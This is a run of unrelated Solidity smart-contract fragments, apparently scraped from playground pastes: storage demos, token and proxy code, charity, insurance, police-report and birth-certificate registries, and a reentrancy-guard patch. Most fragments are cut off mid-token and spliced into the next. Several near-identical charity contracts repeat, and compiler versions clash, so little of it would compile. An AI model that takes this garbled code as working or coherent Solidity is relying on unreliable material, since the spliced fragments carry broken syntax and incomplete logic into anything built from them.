//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public pure returns (uint) {
uint a = 0;
return a - 1;
}
uint value;
/**
*Submitted for verification at BscScan.com on 2020-10-28
*/
// File: openzeppelin-solidity/contracts/proxy/Proxy.sol
pragma solidity ^0.6.0;
/**
* @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
* instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
* be specified by overriding the virtual {_implementation} function.
*
* Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a
* different contract through the {_delegate} function.
*
* The success and return data of the delegated call will be returned back to the caller of the proxy.
*/
abstract contract Proxy {
/**
* @dev Delegates the current call to `implementation`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _delegate(address implementation) inpragma solidity ^0.5.0;
import "https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-contracts/v2.5.0/contracts/token/ERC20/ERC20.sol";
import "https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-contracts/v2.5.0/contracts/math/SafeMath.sol";
import "https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-contracts/v2.5.0/contracts/ownership/Ownable.sol";
import "https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-contracts/v2.5.0/contracts/token/ERC20/ERC20Detailed.sol";
contract FreeParking is ERC20, Ownable, ERC20Detailed {
constructor(
address _owner,
uint256 _supply
)
ERC20Detailed(
"Free Parking Protocol",
"PARK",
18
)
public
{
_mint(_owner, _supply);
}
using SafeMath for uint256;
/**
* @notice We require to know who are all the stakeholders.
*/
address[] internal stakeholders;
/**
* @notice The accumulated revenue for each stakeholder.
*/
mapping(address =>//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.5.0;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.24;
contract Playground {
function signedTest() pure public returns(uint256) {
uint16 a = uint16(-1);
uint256 b = a;
return b;
}
}//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract Parent {
Child _child ;
function Parent(Child child) public {
_child = child;
}
function call_child() public{
_child.call_me(msg.sender);
}
uint value;
}
contract Child {
address public _realMsgSender;
address public _seenMsgSender;
function call_me(address realMsgSender) public {
_realMsgSender = realMsgSender;
_seenMsgSender = msg.sender;
}
pragma solidity ^0.4.17;
contract Genuine_Charity_DApp{
struct CharityOrg{
string OrgName;
address OrgAddress;
string Desc;
}
struct Payment{
string description;
uint amount;
address receiver;
bool completed;
}
struct product{
string productId;
string productName;
uint price;
address seller;
bool ongoing;
}
struct Beneficiary{
string description;
uint maxContr;
address store;
bool complete;
uint approvalCount;
mapping(address => bool) approvals;
bool display;
}
struct Donator {
string name;
string message;
uint16 projectID;
uint value;
// uint account_balance;
address Address;
}
struct CoopStore{
string StoreName;
address StoreAddress;
// uint account_balance;
}
// Beneficiary[] public CharityProjects; //(should be a list of structs) Duplicate, needs to be merged with the Beneficiary Upload info struct
Donator[] public donators; //stores data of all donators
Beneficiary[] public beneficiar//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
pragma solidity ^0.4.17;
contract Genuine_Charity_DApp{
struct CharityOrg{
string OrgName;
address OrgAddress;
string Desc;
}
struct Payment{
string description;
uint amount;
address receiver;
bool completed;
}
struct product{
string productId;
string productName;
uint price;
address seller;
bool ongoing;
}
struct Beneficiary{
string description;
uint maxContr;
address store;
bool complete;
uint approvalCount;
mapping(address => bool) approvals;
bool display;
}
struct Donator {
string name;
string message;
uint16 projectID;
uint value;
uint account_balance;
address Address;
}
struct CoopStore{
string StoreName;
address StoreAddress;
uint account_balance;
}
// Beneficiary[] public CharityProjects; //(should be a list of structs) Duplicate, needs to be merged with the Beneficiary Upload info struct
Donator[] public donators; //stores data of all donators
Beneficiary[] public beneficiapragma solidity ^0.4.17;
contract Genuine_Charity_DApp{
struct CharityOrg{
string OrgName;
address OrgAddress;
string Desc;
}
struct Payment{
string description;
uint amount;
address receiver;
bool completed;
uint votercount;
}
struct product{
string productId;
string productName;
uint price;
address seller;
bool ongoing;
}
struct Beneficiary{
string description;
uint maxContr;
address store;
bool complete;
uint approvalCount;
mapping(address => bool) approvals;
}
struct Donator {
string name;
string message;
uint16 projectID;
uint value;
uint account_balance;
address Address;
}
struct CoopStore{
string StoreName;
address StoreAddress;
uint account_balance;
}
Beneficiary[] public CharityProjects; //(should be a list of structs) Duplicate, needs to be merged with the Beneficiary Upload info struct
Donator[] public donators; //stores data of all donators
Beneficiary[] public beneficiaries;pragma solidity ^0.4.17;
contract Genuine_Charity_DApp{
struct CharityOrg{
string OrgName;
address OrgAddress;
string Desc;
}
struct Payment{
string description;
uint amount;
address receiver;
bool completed;
uint votercount;
}
struct product{
string productId;
string productName;
uint price;
address seller;
bool ongoing;
}
struct Beneficiary{
string description;
uint maxContr;
address store;
bool complete;
uint approvalCount;
mapping(address => bool) approvals;
}
struct Donator {
string name;
string message;
uint16 projectID;
uint value;
uint account_balance;
address Address;
}
struct CoopStore{
string StoreName;
address StoreAddress;
uint account_balance;
}
Beneficiary[] public CharityProjects; //(should be a list of structs) Duplicate, needs to be merged with the Beneficiary Upload info struct
Donator[] public donators; //stores data of all donators
Beneficiary[] public beneficiaries;pragma solidity ^0.4.17;
contract Genuine_Charity_DApp{
struct CharityOrg{
string OrgName;
address OrgAddress;
string Desc;
}
struct Payment{
string description;
uint amount;
address receiver;
bool completed;
uint votercount;
}
struct product{
string productId;
string productName;
uint price;
address seller;
bool ongoing;
}
struct Beneficiary{
string description;
uint maxContr;
address store;
bool complete;
uint approvalCount;
mapping(address => bool) approvals;
}
struct Donator {
string name;
string message;
uint16 projectID;
uint value;
uint account_balance;
address Address;
}
struct CoopStore{
string StoreName;
address StoreAddress;
uint account_balance;
}
Beneficiary[] public CharityProjects; //(should be a list of structs) Duplicate, needs to be merged with the Beneficiary Upload info struct
Donator[] public donators; //stores data of all donators
Beneficiary[] public beneficiaries;
addrpragma solidity ^0.4.17;
contract Genuine_Charity_DApp{
struct CharityOrg{
string OrgName;
address OrgAddress;
string Desc;
}
struct Payment{
string description;
uint amount;
address receiver;
bool completed;
uint votercount;
}
struct product{
string productId;
string productName;
uint price;
address seller;
bool ongoing;
}
struct Beneficiary{
string description;
uint maxContr;
address store;
bool complete;
uint approvalCount;
mapping(address => bool) approvals;
}
struct Donator {
string name;
string message;
uint16 projectID;
uint value;
uint account_balance;
address Address;
}
struct CoopStore{
string StoreName;
address StoreAddress;
uint account_balance;
}
Beneficiary[] public CharityProjects; //(should be a list of structs) Duplicate, needs to be merged with the Beneficiary Upload info struct
Donator[] public donators; //stores data of all donators
Beneficiary[] public beneficiaries;
addrpragma solidity ^0.4.17;
contract Genuine_Charity_DApp{
struct CharityOrg{
string OrgName;
address OrgAddress;
string Desc;
}
struct Payment{
string description;
uint amount;
address receiver;
bool completed;
uint votercount;
}
struct product{
string productId;
string productName;
uint price;
address seller;
bool ongoing;
}
struct Beneficiary{
string description;
uint maxContr;
address store;
bool complete;
uint approvalCount;
mapping(address => bool) approvals;
}
struct Donator {
string name;
string message;
uint16 projectID;
uint value;
uint account_balance;
address Address;
}
struct CoopStore{
string StoreName;
address StoreAddress;
uint account_balance;
}
Beneficiary[] public CharityProjects; //(should be a list of structs) Duplicate, needs to be merged with the Beneficiary Upload info struct
Donator[] public donators; //stores data of all donators
Beneficiary[] public beneficiaries;
addrpragma solidity ^0.4.17;
contract Genuine_Charity_DApp{
struct CharityOrg{
string OrgName;
address OrgAddress;
string Desc;
}
struct Payment{
string description;
uint amount;
address receiver;
bool completed;
uint votercount;
}
struct product{
string productId;
string productName;
uint price;
address seller;
bool ongoing;
}
struct Beneficiary{
string description;
uint maxContr;
address store;
bool complete;
uint approvalCount;
mapping(address => bool) approvals;
}
struct Donator {
string name;
string message;
uint16 projectID;
uint value;
uint account_balance;
address Address;
}
struct CoopStore{
string StoreName;
address StoreAddress;
uint account_balance;
}
Beneficiary[] public CharityProjects; //(should be a list of structs) Duplicate, needs to be merged with the Beneficiary Upload info struct
Donator[] public donators; //stores data of all donators
Beneficiary[] public beneficiaries;
addrpragma solidity ^0.4.17;
contract Genuine_Charity_DApp{
struct CharityOrg{
string OrgName;
address OrgAddress;
string Desc;
}
struct Payment{
string description;
uint amount;
address receiver;
bool completed;
uint votercount;
}
struct product{
string productId;
string productName;
uint price;
address seller;
bool ongoing;
}
struct Beneficiary{
string description;
uint maxContr;
address store;
bool complete;
uint approvalCount;
mapping(address => bool) approvals;
}
struct Donator {
string name;
string message;
uint16 projectID;
uint value;
uint account_balance;
address Address;
}
struct CoopStore{
string StoreName;
address StoreAddress;
uint account_balance;
}
string[] public CharityProjects; //(should be a list of structs) Duplicate, needs to be merged with the Beneficiary Upload info struct
Donator[] public donators; //stores data of all donators
Beneficiary[] public beneficiaries;
address p// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
pragma solidity ^0.4.25;
/*
Just the interface so solidity can compile properly
We could skip this if we use generic call creation or abi.encodeWithSelector
*/
contract ERC20 {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
/*
Generic Receiver Contract
*/
contract Receiver {
address public owner;
constructor() public {
/*
Deployer's address ( Factory in ourpragma solidity >=0.6.0;
contract questFreeton{
constructor() public {
require(tvm.pubkey() != 0);
tvm.accept();
}
uint16 constant SIEGE_TIME = 10770;
uint24 constant QUEST_WINDOW_TIME = 86400;
uint16 version = 0;
uint16 questID =0;
struct PirateStation{
string blkch;
uint24[] crd;
uint16 siegeTime;
uint24 exculibr;
uint24 loki;
uint32[] tokens;
uint16 questID;
uint24 appearance;
}
struct Pool{
string blkch;
uint8 minStCount;
uint8 maxStCount;
uint24 shipsCoeff;
uint32[] tCount;
}
mapping(uint32=>PirateStation) maplogs;
function setCode(TvmCell newcode) public onlyOwner {
tvm.setcode(newcode);
tvm.setCurrentCode(newcode);
onCodeUpgrade();
}
function onCodeUpgrade() private {
version += 1;
}
modifier onlyOwner(){
require(msg.pubkey() == tvm.pubkey(), 100);
tvm.accept();
_;
}
function genCount(uint8 _minCount,uint8 _maxCount) internal pure returns(uint8){
rnd.shuffle();
uint8 _countStation = _minCount + rnd.next(_maxCount - _minCpragma solidity ^0.4.17;
contract Genuine_Charity_DApp{
struct CharityOrg{
string OrgName;
address OrgAddress;
string Desc;
}
struct Beneficiary{
string description;
uint maxContr;
address recipient;
bool complete;
}
struct Payment{
string description;
uint amount;
address receiver;
bool completed;
uint votercount;
}
struct Donator {
string name;
string message;
uint16 projectID;
uint value;
uint account_balance;
}
struct CoopStore{
string StoreName;
address StoreAddress;
uint account_balance;
}
string[] public CharityProjects; //(should be a list of structs) Duplicate, needs to be merged with the Beneficiary Upload info struct
Donator[] public donators; //stores data of all donators
Beneficiary[] public beneficiaries;
address public reciever;
uint public minContr;
CoopStore[] public CooperativeStores;
/* string[] public BeneficiaryInfo; //(should be a list of structs) Duplicate, needs to be merged with the Beneficiary Upload info pragma solidity ^0.4.16;
pragma experimental ABIEncoderV2;
contract Owned {
address public owner;
function Owned() {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
owner = newOwner;
}
function getOwner() public constant returns (address) {
return owner;
}
}
contract FileHashStorage is Owned {
struct File {
string name;
uint uploadDate;
uint size;
}
mapping(string => File) private files;
mapping(string => string[]) private fileOwners;
string[] public owners;
uint public ownerID = 0;
/*
owners = ["Jung", "Park", ...]
fileOwners["Jung"] = ["0xABCD1234", "0xDEAD4321"] // Hashed file
files["0xABCD1234"] = {
name: "test_file.pdf",
registerDate: 17203124, // Unix timestamp
size: 154000 // Bytes
}
*/
event Upload(string personName, string fileHash, pragma solidity ^0.4.22;
contract Insurance {
struct customer {
bool isUidGenerated;
string name;
uint amountInsured;
}
mapping (address => customer) public customerMapping;
mapping (address => bool) public doctorRegistered;
address Owner;
constructor() public {
Owner = msg.sender;
}
modifier onlyOwner() {
require (Owner == msg.sender);
_;
}
function registerDoctor(address _address) public onlyOwner {
require (!doctorRegistered[_address], "Doctor already registered!");
doctorRegistered[_address] = true;
}
function generateCustomer(string _name, uint _amountInsured) public onlyOwner returns (address) {
address uniqueId = address(sha256(msg.sender, now));
require (!customerMapping[uniqueId].isUidGenerated, "Error occurred! Try again!");
customerMapping[uniqueId].isUidGenerated = true;
customerMapping[uniqueId].name = _name;
customerMapping[uniqueId].amountInsured = _amountInsured;
return uniqueId;
}
function useInsuran/**
#BEE
#LIQ+#RFI+#SHIB+#DOGE = #BEE
#SAFEMOON features:
3% fee auto add to the liquidity pool to locked forever when selling
2% fee auto distribute to all holders
I created a black hole so #Bee token will deflate itself in supply with every transaction
50% Supply is burned at start.
*/
pragma solidity ^0.6.12;
// SPDX-License-Identifier: Unlicensed
interface IERC20 {
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend //Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function log(uint256 x) public view returns (uint256 y){
assembly {
let arg := x
x := sub(x,1)
x := or(x, div(x, 0x02))
x := or(x, div(x, 0x04))
x := or(x, div(x, 0x10))
x := or(x, div(x, 0x100))
x := or(x, div(x, 0x10000))
x := or(x, div(x, 0x100000000))
x := or(x, div(x, 0x10000000000000000))
x := or(x, div(x, 0x100000000000000000000000000000000))
x := add(x, 1)
let m := mload(0x40)
mstore(m, 0xf8f9cbfae6cc78fbefe7cdc3a1793dfcf4f0e8bbd8cec470b6a28a7a5a3e1efd)
mstore(add(m,0x20), 0xf5ecf1b3e9debc68e1d9cfabc5997135bfb7a7a3938b7b606b5b4b3f2f1f0ffe)
mstore(add(m,0x40), 0xf6e4ed9ff2d6b458eadcdf97bd91692de2d4da8fd2d0ac50c6ae9a8272523616)
mstore(add(m,0x60), 0xc8c0b887b0a8a4489c948c7f847c6125746c645c544c444038302820181008ff)
mspragma solidity ^0.7.0;
import "./ERC165/IERC165.sol";
import "./ERC165/ERC165.sol";
import "./utils/Address.sol";
import "./utils/EnumerableMap.sol";
import "./utils/EnumerableSet.sol";
import "./utils/SafeMath.sol";
import "./utils/Strings.sol";
import "./utils/Context.sol";
import "./utils/Ownable.sol";
import "./IERC20.sol";
import "./IMasks.sol";
import "./IERC721Enumerable.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
}
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Wheneve//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
pragma solidity ^0.7.1;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint2//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
}
pragma solidity 0.4.18;
contract gfgMathPlus
{
// Declaring the state
// variables
uint firstNo=5;
uint secondNo=2 ;
// Defining the function
// to set the value of the
// first variable
function firstNoSet(uint x) public
{
firstNo = x;
}
// Defining the function
// to set the value of the
// second variable
function secondNoSet(uint y) public
{
secondNo = y;
}
// Defining the function
// to add the two variables
function add() view public returns (uint)
{
uint Sum = firstNo + secondNo ;
// Sum of two variables
return Sum;
}
}// SPDX-License-Identifier: FIRChain
pragma solidity ^0.7.1;
contract FIRChain {
enum Roles {NoRole, PoliceStation, HeadQuarters}
enum ComplaintType {Nil, Missing, Found}
event verifyEvent(bool Status);
event findMatchEvent(uint256 fid1, uint256 fid2);
struct PoliceStationStruct {
uint256 pId;
address ethAddr;
string name;
string addr;
string state;
uint256 phno;
Roles role;
}
struct FIRStruct {
uint256 fId;
string name;
string details;
string state;
uint uniqueId;
ComplaintType ctype;
uint256 registeredDate;
uint256 closedDate;
bool findMatch;
bool status;
}
mapping(uint256 => PoliceStationStruct) Police;
mapping(uint256 => uint256) HeadQuarter;
mapping(uint256 => uint256[]) PoliceStations;
mapping(address => uint256) Registered;
mapping(uint => bool) MissingStatus;
mapping(uint => bool) FoundStatus;
mapping(u// Possible HashMasks fix
// 1. Add the following to the Masks.sol on line 17 or so (new line, do not paste in "contract {" or anywhere else.
// NOTE: I removed the comments it contained to save space.
// The source of it is here: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/security/ReentrancyGuard.sol
abstract contract ReentrancyGuard {
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () {
_status = _NOT_ENTERED;
}
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// 2. Chan//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
pragma solidity ^0.4.17;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
*pragma solidity ^0.4.17;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
*pragma solidity ^0.4.17;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
*pragma solidity ^0.4.17;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
*//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
uint256 number;
/**
* @dev Store value in variable
* @param num value to store
*/
function buy(uint256 num) public {
number = number + 1;
}
/**
* @dev Return value
* @return value of 'number'
*/
function get() public view returns (uint256){
return number;
}
uint value;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract A {
B b;
function setB(B addr) public { b = addr; }
function foo() public returns (string) {
uint y = b.bar.gas(1)();
assert(y == 0);
return "Hello World";
}
}
contract B {
function bar() public pure returns (uint) {
while(true) { }
return 1;
}
pragma solidity ^0.4.18;
contract ZombieFactory {
uint dnaDigits = 16;
uint dnaModulus = 10 ** dnaDigits;
struct Zombie {
string name;
uint dna;
}
Zombie[] public zombies;
function _createZombie(string _name, uint _dna) private {
zombies.push(Zombie(_name, _dna));
}
function _generateRandomDna(string _str) private view returns (uint) {
uint rand = uint(keccak256(_str));
return rand % dnaModulus;
}
pragma solidity ^0.5.9;
contract Examen {
uint8 constant public minNota = 4;
struct Alumno {
bool corregido;
bool aprobado;
uint8 nota;
}
address public owner;
mapping (address => Alumno) public alumnos;
constructor () public {
owner = msg.sender;
}
function ponerNota(address idAlumno, uint8 nota) public {
require(msg.sender == owner);
alumnos[idAlumno].corregido = true;
alumnos[idAlumno].nota = nota;
if (alumnos[idAlumno].nota >= minNota) {
alumnos[idAlumno].aprobado = true;
}
}
pragma solidity ^0.5.9;
contract Examen {
uint8 constant public minNota = 4;
struct Alumno {
bool corregido;
bool aprobado;
uint8 nota;
}
address public owner;
mapping (address => Alumno) public alumnos;
constructor () public {
owner = msg.sender;
}
function ponerNota(address idAlumno, uint8 nota) public {
require(msg.sender == owner);
alumnos[idAlumno].corregido = true;
alumnos[idAlumno].nota = nota;
if (alumnos[idAlumno].nota >= minNota) {
alumnos[idAlumno].aprobado = true;
}
}
║ HOT BALANCE │ DISCOUNT ║
* ╠════════════════════╪══════════╣
* ║ 0 <= x < 10000 │ 0% ║
* ╟────────────────────┼──────────╢
* ║ 10000 <= x < 20000 │ 10% ║
* ╟────────────────────┼──────────╢
* ║ 20000 <= x < 30000 │ 20% ║
* ╟────────────────────┼──────────╢
* ║ 30000 <= x < 40000 │ 30% ║
* ╟────────────────────┼──────────╢
* ║ 40000 <= x │ 40% //Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.7.1;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract Token {
function totalSupply() constant returns (uint256 supply){}
pragma solidity >=0.4.0 <0.7.0;
contract Marriage {
enum State{Continues, Divorced}
State public state;
uint proposaled_at;
uint divorced_at;
string giving_the_ring;
string taking_the_ring;
string witness1;
string witness2;
constructor(string _giving_the_ring, string _taking_the_ring, string _witness1, string _witness2) public{
state = State.Continues;
giving_the_ring = _giving_the_ring;
taking_the_ring = _taking_the_ring;
witness1 = _witness1;
witness2 = _witness2;
proposaled_at = now;
}
function divorce() public {
state = State.Divorced;
divorced_at = now;
}
function marriage_summary() public view returns (string) {
if (state == State.Continues){
return string(abi.encodePacked("!!CONTINUES!! ", giving_the_ring, " -> ", taking_the_ring," time: ", uint2str(proposaled_at)));
}
return string(abi.encodePacked("!!DIVORCED!! ", giving_the_ring, " -> ", taking_the_ring, " time: ", uint2str(proposaled_at), " divorced at: ", u// contracts/GameItem.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.6;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
contract Runner is ERC721 {
using Counters for Counters.Counter;
Counters.Counter private _tokenIds;
constructor() public ERC721("Runner", "RNR") {}
function awardItem(address player, string memory tokenURI)
public
returns (uint256)
{
_tokenIds.increment();
uint256 newItemId = _tokenIds.current();
_mint(player, newItemId);
_setTokenURI(newItemId, tokenURI);
return newItemId;
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.8.0;
contract BirthChain {
/********* Constructor to assign Government as admin *********/
address gov;
constructor() {
gov = msg.sender;
}
/********* Structures *********/
struct HospitalModel{
string name;
string location;
string contact;
address pubAdd;
}
struct MuncipalityModel{
string location;
string contact;
uint pincode;
address pubAdd;
}
struct BirthCertificateModel{
string name;
string fathersName;
string mothersName;
string dob;
string time;
string email;
string location;
}
/********* Mappings *********/
mapping (uint=>HospitalModel) public hospital;
mapping (uint=>MuncipalityModel) public muncipality;
mapping (uint=>BirthCertificateModel) bc;
mapping (uint=>address) hospitalAddr;
mapping (uint=>address) muncipalityAddr;
mapping (uint=>bool) status;
mapping (address=>bool) isHospital;
mapping (address=>bool) isMuncipality;// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.8.0;
contract BirthChain {
/********* Constructor to assign Government as admin *********/
address gov;
constructor() {
gov = msg.sender;
}
/********* Structures *********/
struct HospitalModel{
string name;
string location;
string contact;
address pubAdd;
}
struct MuncipalityModel{
string location;
string contact;
uint pincode;
address pubAdd;
}
struct BirthCertificateModel{
string name;
string fathersName;
string mothersName;
string dob;
// string time;
string email;
string location;
// address hospitalAddr;
// address muncipalityAddr;
// bool status;
}
/********* Mappings *********/
mapping (uint=>HospitalModel) public hospital;
mapping (uint=>MuncipalityModel) public muncipality;
mapping (uint=>BirthCertificateModel) bc;
mapping (uint=>address) hospitalAddr;
mapping (uint=>address) muncipalityAddr;
mapping (uint=>bool) st//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.0;
contract greeter {
address owner;
string greeting;
function greeter(string _greeting) public {
greeting = _greeting;
owner = msg.sender;
}
function kill () public
{ if (msg.sender == owner) selfdestruct(owner);
}
function greet () public constant returns (string)
{
return greeting;
}
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
function set(uint _value) public {
value = _value;
}
function get() public constant returns (uint) {
return value;
}
uint value;
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.8.0;
